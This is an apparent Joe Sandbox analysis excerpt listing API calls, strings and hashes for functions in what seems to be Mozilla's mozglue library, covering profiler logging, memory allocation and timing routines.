GetCurrentThreadId.KERNEL32 ref: 6CF3F1E0
AcquireSRWLockExclusive.KERNEL32(6CF7F4B8), ref: 6CF3F1ED
ReleaseSRWLockExclusive.KERNEL32(6CF7F4B8), ref: 6CF3F212
GetCurrentThreadId.KERNEL32 ref: 6CF3F229
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CF3F231
?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6CF3F248
GetCurrentThreadId.KERNEL32 ref: 6CF3F2AE
AcquireSRWLockExclusive.KERNEL32(6CF7F4B8), ref: 6CF3F2BB
ReleaseSRWLockExclusive.KERNEL32(6CF7F4B8), ref: 6CF3F2F8

Part of subcall function 6CF2CBE8: GetCurrentProcess.KERNEL32(?,6CEF31A7), ref: 6CF2CBF1
Part of subcall function 6CF2CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CEF31A7), ref: 6CF2CBFA

Part of subcall function 6CF39420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CF04A68), ref: 6CF3945E
Part of subcall function 6CF39420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CF39470
Part of subcall function 6CF39420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CF39482
Part of subcall function 6CF39420: __Init_thread_footer.LIBCMT ref: 6CF3949F

GetCurrentThreadId.KERNEL32 ref: 6CF3F350
AcquireSRWLockExclusive.KERNEL32(6CF7F4B8), ref: 6CF3F35D
ReleaseSRWLockExclusive.KERNEL32(6CF7F4B8), ref: 6CF3F381
GetCurrentThreadId.KERNEL32 ref: 6CF3F398
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CF3F3A0
GetCurrentThreadId.KERNEL32 ref: 6CF3F489
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CF3F491

Part of subcall function 6CF394D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CF394EE
Part of subcall function 6CF394D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CF39508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6CF3F3CF

Part of subcall function 6CF3F070: GetCurrentThreadId.KERNEL32 ref: 6CF3F440
Part of subcall function 6CF3F070: AcquireSRWLockExclusive.KERNEL32(6CF7F4B8), ref: 6CF3F44D
Part of subcall function 6CF3F070: ReleaseSRWLockExclusive.KERNEL32(6CF7F4B8), ref: 6CF3F472

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6CF3F4A8
GetCurrentThreadId.KERNEL32 ref: 6CF3F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CF3F561
GetCurrentThreadId.KERNEL32 ref: 6CF3F577
AcquireSRWLockExclusive.KERNEL32(6CF7F4B8), ref: 6CF3F585
ReleaseSRWLockExclusive.KERNEL32(6CF7F4B8), ref: 6CF3F5A3

Strings

[I %d/%d] profiler_resume, xrefs: 6CF3F239
[I %d/%d] profiler_pause_sampling, xrefs: 6CF3F3A8
[I %d/%d] profiler_resume_sampling, xrefs: 6CF3F499
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6CF3F56A

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: CurrentExclusiveLock$Thread$AcquireRelease$CriticalSectionTime_getpid$?profiler_time@baseprofiler@mozilla@@getenv$Count64EnterLeaveProcessStampTickV01@@Value@mozilla@@$BaseCounterDurationInit_thread_footerNow@PerformancePlatformQuerySeconds@Stamp@mozilla@@TerminateUtils@mozilla@@V12@___acrt_iob_func__aulldiv__stdio_common_vfprintf
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 565197838-2840072211
Opcode ID: 2bf4dadef99c17a87859afba2b53e6da133c74e17243a226ce297f09dee269de
Instruction ID: 2fc5a19eb2a2b7c20fd98afd80ff13c56f9f0c42b1b00f149ceca4cb8013060c
Opcode Fuzzy Hash: 2bf4dadef99c17a87859afba2b53e6da133c74e17243a226ce297f09dee269de
Instruction Fuzzy Hash: 0FD11931E14230EFDB919F68E4087AA77F4EB47328F14456AE95983B81DB718818C7F6

Function 6CF064C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6CF064DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6CF064F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6CF06505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6CF06518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6CF0652B
memcpy.VCRUNTIME140(?,?,?), ref: 6CF0671C
GetCurrentProcess.KERNEL32 ref: 6CF06724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6CF0672F
GetCurrentProcess.KERNEL32 ref: 6CF06759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6CF06764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6CF06A80
GetSystemInfo.KERNEL32(?), ref: 6CF06ABE
__Init_thread_footer.LIBCMT ref: 6CF06AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CF06AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CF06AF7

Strings

SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6CF06798
user32.dll, xrefs: 6CF06526
nvd3d9wrap.dll, xrefs: 6CF06500
nvdxgiwrap.dll, xrefs: 6CF06513
detoured.dll, xrefs: 6CF064DA
_etoured.dll, xrefs: 6CF064ED

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: 22b9e8c052b2296a44d8666c248b56546c2e7e19d6d0a9b023f81e1515879f3b
Instruction ID: 4d95228472b8969f4268e3cb840eb91cad0386105cfa5b4ccc9427f8929d3314
Opcode Fuzzy Hash: 22b9e8c052b2296a44d8666c248b56546c2e7e19d6d0a9b023f81e1515879f3b
Instruction Fuzzy Hash: 71F1D071E056298FDB20DF24DC58BDAB7B5AF06718F144299EC09E7A41D731AAC4CFA0

Function 6CF1ED10 Relevance: 32.4, APIs: 16, Strings: 2, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6CF1EE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6CF1EFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6CF21695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CF216B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6CF21770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CF21A3E

Strings

~ql, xrefs: 6CF1ED10
~ql, xrefs: 6CF1ED13

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID: ~ql$~ql
API String ID: 3693777188-2664383298
Opcode ID: d17c77cf7b701abfea67c199c62a56fdca529c8581cb4bc5182dae9904efa2b4
Instruction ID: 5e48056f015f97a3a81595ad07ba93be2a1008a0ccee3d9afb46b443041309d0
Opcode Fuzzy Hash: d17c77cf7b701abfea67c199c62a56fdca529c8581cb4bc5182dae9904efa2b4
Instruction Fuzzy Hash: FEB32972E04219CFCB14CFA8C890A9DB7B2FF49304F6582A9D449AB745D735AD86CF90

Function 6CF3E2F0 Relevance: 32.0, APIs: 13, Strings: 5, Instructions: 466threadCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,?,?,6CF3E2A6), ref: 6CF3E35E
?_Xbad_function_call@std@@YAXXZ.MSVCP140(?,?,6CF3E2A6), ref: 6CF3E386
GetCurrentThreadId.KERNEL32 ref: 6CF3E3E4
AcquireSRWLockExclusive.KERNEL32(6CF7F4B8), ref: 6CF3E3F1
memset.VCRUNTIME140(?,00000000,?), ref: 6CF3E4AB
ReleaseSRWLockExclusive.KERNEL32(6CF7F4B8), ref: 6CF3E4F5
GetCurrentThreadId.KERNEL32 ref: 6CF3E577
AcquireSRWLockExclusive.KERNEL32(6CF7F4B8), ref: 6CF3E584
ReleaseSRWLockExclusive.KERNEL32(6CF7F4B8), ref: 6CF3E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CF3E8A6

Part of subcall function 6CEFB7A0: ?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6CEFB7CF
Part of subcall function 6CEFB7A0: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6CEFB808

Part of subcall function 6CF4B800: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,00000000,00000000,6CF70FB6,00000000,?,?,6CF3E69E), ref: 6CF4B830

memset.VCRUNTIME140(?,00000000,00000000), ref: 6CF3E6DA

Part of subcall function 6CF4B8B0: memset.VCRUNTIME140(00000000,00000000,00000000,80000000), ref: 6CF4B916
Part of subcall function 6CF4B8B0: free.MOZGLUE(00000000,?,?,80000000), ref: 6CF4B94A

free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6CF3E864
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CF3E883

Strings

MOZ_PROFILER_STARTUP, xrefs: 6CF3E5A1, 6CF3E5CC, 6CF3E5FF, 6CF3E62A
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6CF3E655
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6CF3E826, 6CF3E850
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6CF3E777
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6CF3E722, 6CF3E750, 6CF3E7A2

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: ExclusiveLockfree$memset$AcquireCurrentReleaseThreadXbad_function_call@std@@$?vprint@PrintfTarget@mozilla@@__stdio_common_vsprintfmemcpy
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 2698983630-53385798
Opcode ID: bd178a7b6940b1b9e1b77d7d5927fb2bc9e4bc75891a83fb1d4dff7947c857e5
Instruction ID: ae7b995c92b73b791c481e25579a5d82cc189c24fd700b2ff481595806956cc7
Opcode Fuzzy Hash: bd178a7b6940b1b9e1b77d7d5927fb2bc9e4bc75891a83fb1d4dff7947c857e5
Instruction Fuzzy Hash: 9D029C75A012159FCB50CF28C484BAABBF5FF89308F10492DE99A9BB41D730E945CBE1

Function 6CF55FF0 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6CF56009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6CF56024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(Ql,?), ref: 6CF56046
OutputDebugStringA.KERNEL32(?,Ql,?), ref: 6CF56061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CF56069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CF56073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CF56082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6CF7148E), ref: 6CF56091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,Ql,00000000,?), ref: 6CF560BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CF560C4

Strings

Ql, xrefs: 6CF55FFC, 6CF56042, 6CF56045, 6CF560B3

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID: Ql
API String ID: 3835517998-1610383887
Opcode ID: 6379df771daee98a9d5ee5378c0d3dad012a6c3c35e87a40d1b9e204c5aa42ac
Instruction ID: d52b155825adfe51631851be2cac37595e4f4418ff58ab11d9cb22bfef3519ab
Opcode Fuzzy Hash: 6379df771daee98a9d5ee5378c0d3dad012a6c3c35e87a40d1b9e204c5aa42ac
Instruction Fuzzy Hash: 1921A371A002189FDB105F64EC0DBEA7BB8FF46618F108828E95AD7341CB75A959CFE1

Function 6CF37E10 Relevance: 17.9, APIs: 6, Strings: 4, Instructions: 403COMMON

Download Yara Rule

Strings

data, xrefs: 6CF38280, 6CF383E1
(pre-xul), xrefs: 6CF37E88
name, xrefs: 6CF37ECF, 6CF38335
schema, xrefs: 6CF381E3, 6CF38311

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema
API String ID: 3412268980-999448898
Opcode ID: 4f466a17b332d90e26702c251fe86d915f122c71cba1c8883bbc330216957ba5
Instruction ID: ce0799362e4b85d589c603cc8e3280bf88fdad63b7beb86275a0fad7df3e81e5
Opcode Fuzzy Hash: 4f466a17b332d90e26702c251fe86d915f122c71cba1c8883bbc330216957ba5
Instruction Fuzzy Hash: 74E17EB1B043508FC710CF69885066BFBEABF85714F14892DE899D7B90DBB0DD498B92

Function 6CF1D4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CF7E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6CF2D1C5), ref: 6CF1D4F2
LeaveCriticalSection.KERNEL32(6CF7E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6CF2D1C5), ref: 6CF1D50B

Part of subcall function 6CEFCFE0: EnterCriticalSection.KERNEL32(6CF7E784), ref: 6CEFCFF6
Part of subcall function 6CEFCFE0: LeaveCriticalSection.KERNEL32(6CF7E784), ref: 6CEFD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6CF2D1C5), ref: 6CF1D52E
EnterCriticalSection.KERNEL32(6CF7E7DC), ref: 6CF1D690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CF1D6A6
LeaveCriticalSection.KERNEL32(6CF7E7DC), ref: 6CF1D712
LeaveCriticalSection.KERNEL32(6CF7E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6CF2D1C5), ref: 6CF1D751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CF1D7EA

Strings

<jemalloc>, xrefs: 6CF1D827
: (malloc) Error initializing arena, xrefs: 6CF1D82C

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: 3146f3949cce93ebde23c3a1ac59771886d507d76f88dea4434e2f04909992b7
Instruction ID: 0a9bfd36c1fc719bcf837f2ac6760862889a42dfbb8533541cabf60826dcf6f7
Opcode Fuzzy Hash: 3146f3949cce93ebde23c3a1ac59771886d507d76f88dea4434e2f04909992b7
Instruction Fuzzy Hash: 2991F771A087118FD756CF28D49076AB7F1EB89318F144A2EE5AAC7F80D734E845CB92

Function 6CEF3480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6CEF3284,?,?,6CF156F6), ref: 6CEF3492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6CEF3284,?,?,6CF156F6), ref: 6CEF34A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6CEF3284,?,?,6CF156F6), ref: 6CEF34EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6CEF350E
__Init_thread_footer.LIBCMT ref: 6CEF3522
__aulldiv.LIBCMT ref: 6CEF3552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6CEF3284,?,?,6CF156F6), ref: 6CEF357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6CEF3284,?,?,6CF156F6), ref: 6CEF3592

Part of subcall function 6CF2AB89: EnterCriticalSection.KERNEL32(6CF7E370,?,?,?,6CEF34DE,6CF7F6CC,?,?,?,?,?,?,?,6CEF3284), ref: 6CF2AB94
Part of subcall function 6CF2AB89: LeaveCriticalSection.KERNEL32(6CF7E370,?,6CEF34DE,6CF7F6CC,?,?,?,?,?,?,?,6CEF3284,?,?,6CF156F6), ref: 6CF2ABD1

Strings

kernel32.dll, xrefs: 6CEF34EA
GetSystemTimePreciseAsFileTime, xrefs: 6CEF3508

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: 4f719ff30d04563409ffef2c6e940580ac3b397a27e8de0ad46b76ef7c34ca36
Instruction ID: a834f3b6dbda5810c0e4f12fb0cf53311966d3d5df7917f1e2236a33b61e0d3b
Opcode Fuzzy Hash: 4f719ff30d04563409ffef2c6e940580ac3b397a27e8de0ad46b76ef7c34ca36
Instruction Fuzzy Hash: 2731CF70F102199BDF92DFB8EC48BAA77B5FB86308F20041AE511A3750DB74A905CB71

Function 6CF54EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6CF54EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CF54F2E
moz_xmalloc.MOZGLUE ref: 6CF54F52
memset.VCRUNTIME140(00000000,00000000), ref: 6CF54F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CF552B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CF552E6
Sleep.KERNEL32(00000010), ref: 6CF55481
free.MOZGLUE(?), ref: 6CF55498

Strings

(, xrefs: 6CF55250

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: 7f1b56200e0eecf8e83351b5cb8e0355516ff307da63e4c2a7a34572ca49366f
Instruction ID: 822d1e81ce0c52e1599906fc7f8db7ebcc7d74490c1eb2128898108ed6b7c4c3
Opcode Fuzzy Hash: 7f1b56200e0eecf8e83351b5cb8e0355516ff307da63e4c2a7a34572ca49366f
Instruction Fuzzy Hash: 9FF1D171E18B108FC757CF39C85062BB7F5AFD6284F458B2EF846A7651DB3198428B81

Function 6CF07810 Relevance: 15.4, APIs: 12, Instructions: 372COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CF7E744), ref: 6CF07885
LeaveCriticalSection.KERNEL32(6CF7E744), ref: 6CF078A5
EnterCriticalSection.KERNEL32(6CF7E784), ref: 6CF078AD
LeaveCriticalSection.KERNEL32(6CF7E784), ref: 6CF078CD
EnterCriticalSection.KERNEL32(6CF7E7DC), ref: 6CF078D4
memset.VCRUNTIME140(?,00000000,00000158), ref: 6CF078E9
EnterCriticalSection.KERNEL32(00000000), ref: 6CF0795D
memset.VCRUNTIME140(?,00000000,00000160), ref: 6CF079BB
LeaveCriticalSection.KERNEL32(?), ref: 6CF07BBC
memset.VCRUNTIME140(?,00000000,00000158), ref: 6CF07C82
LeaveCriticalSection.KERNEL32(6CF7E7DC), ref: 6CF07CD2
memset.VCRUNTIME140(00000000,00000000,00000450), ref: 6CF07DAF

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: CriticalSection$EnterLeavememset
String ID:
API String ID: 759993129-0
Opcode ID: f52f43122453139f239c400b4344d4ff3a290402476116205df1b108a5f64b8d
Instruction ID: 3ddb0ccfc1004c4d1eaff380431bc655bb9551f70ac99ece31192034c279862f
Opcode Fuzzy Hash: f52f43122453139f239c400b4344d4ff3a290402476116205df1b108a5f64b8d
Instruction Fuzzy Hash: 54027A71B0121A8FDB54CF19C994799B7B5FF88718F2982EAD809A7711D730AE91CF80

Function 6CF35190 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 331timeCOMMON

Download Yara Rule

APIs

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6CF351DF
?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6CF3529C
?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,00000000), ref: 6CF352FF
?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6CF3536D
?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6CF353F7

Part of subcall function 6CF2AB89: EnterCriticalSection.KERNEL32(6CF7E370,?,?,?,6CEF34DE,6CF7F6CC,?,?,?,?,?,?,?,6CEF3284), ref: 6CF2AB94
Part of subcall function 6CF2AB89: LeaveCriticalSection.KERNEL32(6CF7E370,?,6CEF34DE,6CF7F6CC,?,?,?,?,?,?,?,6CEF3284,?,?,6CF156F6), ref: 6CF2ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_RECORD_OVERHEADS), ref: 6CF356C3
__Init_thread_footer.LIBCMT ref: 6CF356E0

Strings

MOZ_PROFILER_RECORD_OVERHEADS, xrefs: 6CF356BE

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: BaseDurationPlatformSeconds@TimeUtils@mozilla@@$CriticalSection$EnterInit_thread_footerLeavegetenv
String ID: MOZ_PROFILER_RECORD_OVERHEADS
API String ID: 1227157289-345010206
